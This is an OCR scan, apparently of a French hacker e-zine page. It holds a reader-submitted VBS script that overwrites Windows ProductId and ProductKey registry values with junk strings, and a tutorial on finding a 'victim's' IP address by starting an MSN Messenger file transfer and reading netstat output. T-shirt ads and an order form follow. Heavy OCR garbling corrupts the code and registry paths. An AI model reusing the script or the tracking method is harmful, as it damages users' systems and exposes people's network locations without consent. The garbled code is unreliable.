(truck kand vous deletez un qqeh en apple scnpt oubliez po la
commande -empty trash- )

Dans le prochain num un virus de lamer en AppleScript
By [MG+]zobi8225
www.MacGplus.fi.st (vraiment déconseillé au winfuckien)

Le résultat du concours Mac Hack est en page 44 et 49.
[MG-+]20kiB225

0
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Clef windows

Salut .. g
En me promenant dans le RegEdit j'ai vue qu'on pouvait changer la Clef windows de son system en changant la chaine : -

"HHEY_LOCAL_MACHINE\Software\Microsoft\Windows\GurrentVersion\Productic”

pour la clef OEM et en modifiant la chaine :
"HKEY_LOGAL_MACHINE\Software\Microsolt\Windows\CurrentVersion\Produciiiey"
par la suite on péut faire un script VBS :

Dim WSHShell

* | Welcome_MsgBox_Message Text = "Ftes vous sur e vouloir changer votre clel Windows 7"
L Welcome_MsgBox_Title Text = "ATTENTION"
Call Welcomeq) :

Set WSHShell = WScrint Croate0tject(WScript.Shell")

WSHShell RegWrite "HKEY_LOCAL _ MACHINENSoftwane \Microsort\Windows\GurrentUersion\Productid", “FUGKED-OEM-FUCKED-FUCKED"
WSHShell RegWrits "HKEY LOCAL _MACHINE\Software\Microsoit\Windows\CurrentVersiom\Producti(ey", "FUCKED-FUCKED-FUCKED-FUCKED"
Sub Welcome() :

DiminDolt

inDolt= MsoBox(L_Welcome_ MsgBox_Message_Text,
vhiyesno + vhinformation, g
~ |_Welcome_MspBox_Title__Text)
IFintDolt = vhCancel Then
- WSeript.Quit
~End
End Sub

Je sais pas si ¢a sert  grande chose mais bon.. peut-étre si Mr Micro$oft voudrait vérifier I'autentisité de son Os ..

Ps : cool votre e-zine..

Flo.lp.surlgur
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Gomment __lllllﬂﬂil‘ "adresse IP te quelu‘un qui lm"SE MSN Messenger

DISCLAIMER

Je ne suis en aucun cas responsable des ;
consénuences que pourraient causen se tuto-

rial. :

~Matérlel Nécessalre : Un PC avec Windows, Une connexion 4 internet, MSN Messenger, et quelques logiciels ...

En suivant ce tutorial vous allez pouvoir obtenir facilement I'adresse IP de quelqu'un, mais peut-étre que Microsoft va réagir et va
stiirement faire un Patch ;)

Vous pouvez obtenir 'adresse IP que quand la personne accepte un téléchargement. Car quand vous envoyez des messages, cela passe
par le serveur de MSN Messenger. donc votre IP et celle de votre correspondant sont cachées. -

Mais quand vous téléchargez un fichier ou que vous en envoyez un, la connection ne passe plus par le serveur de MSN, le fichier passe
directement d'un ordinateur a l'antre !

Une fois que la victime a accepté de vous envoyer ou de recevoir un fichier, allez dans Menu démarrer puis exécuter et tapez "netstat"
(sans les guillemets) .

Pour Windows ME, 200, ou XP. je crois qu'il faut aller dans Commandes MS-DOS et taper "netstat" Vous allez avoir a 1'écran
quelque chose qui ressemble 4 ¢a : -

Prote  Adresselocale Adresse Distaste : Etat

TCP Nomordi:1033 msar-ns22 msar.hotmail.com: 1863 ESTABLISHED
TCP Nomordi:1040 msgr-sb38. msar.hotmail.com:1863 ESTABLISHED
TCP Nomordi: <ADRESSE DE LA VICTIME> ESTABLISHED

Pour que l'identification de I'adresse de Ia victime soit plus facile, fermez tout sauf MSN Messenger.
Car netstat sert & voir toutes les connexions actives, done moins il y en a, plus c'est facile & trouver la connexion avec la victime.

Les deux premiéres lignes sont les connexions au serveur de MSN, Et la troisiéme est la connexion avec la victime
Regardezl'adresse quiestalaplacede <ADRESSE DE LA VICTIME> : vousdevriez voir quelque chose comme : "machin-0-000-000.four-
nisseurdacces.com"

Maintenant vous pouvez effectuer un lookup sur cette adresse, avec un programme capable d'en faire.-> Vous pouvez télécharger
TIPing sur mon site (http://www.enagulma.fr.st) :
Et voila ! Maintenant vous avez l'adresse IP de la victime.
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”L’hacktion-shirt Zi HackAdemY”’

By Hackerz Voice

We need You, en achetant ce tee shirt vous contribuez
au développement de la premiére Hack school francaise

Promo :
.3 tee shirts

- anonymous guest -

"Zi HackAdemY" 299 FF

. Je commande a Nom i Prenom ™ ... i e tnss _ Signature
: AATOBBO ¥scirai saxsinandssaesionsmsimassiniasunnss itasisorsssaanisdine spmasiae ]
Cade i h ik Villels otun G in g,
3 Zi HackAdemY” =~ 1"Zi HackAdemY” . |

¢
[] par chéque a l'ordre de DMP, 26 bis, Rue leanne d'Arc, 94160 SaintMandé | Taille XL

[] par carte Bleue

" Expire en /

XXl



Join
Z1 HACGKADEMY

01 40 21 01 20
WWW.dmpfrance.com




/L& manuel de hoes série / n°4 = \

Recommandeé par HZV

DISPONIBLE EN KIOSQUE



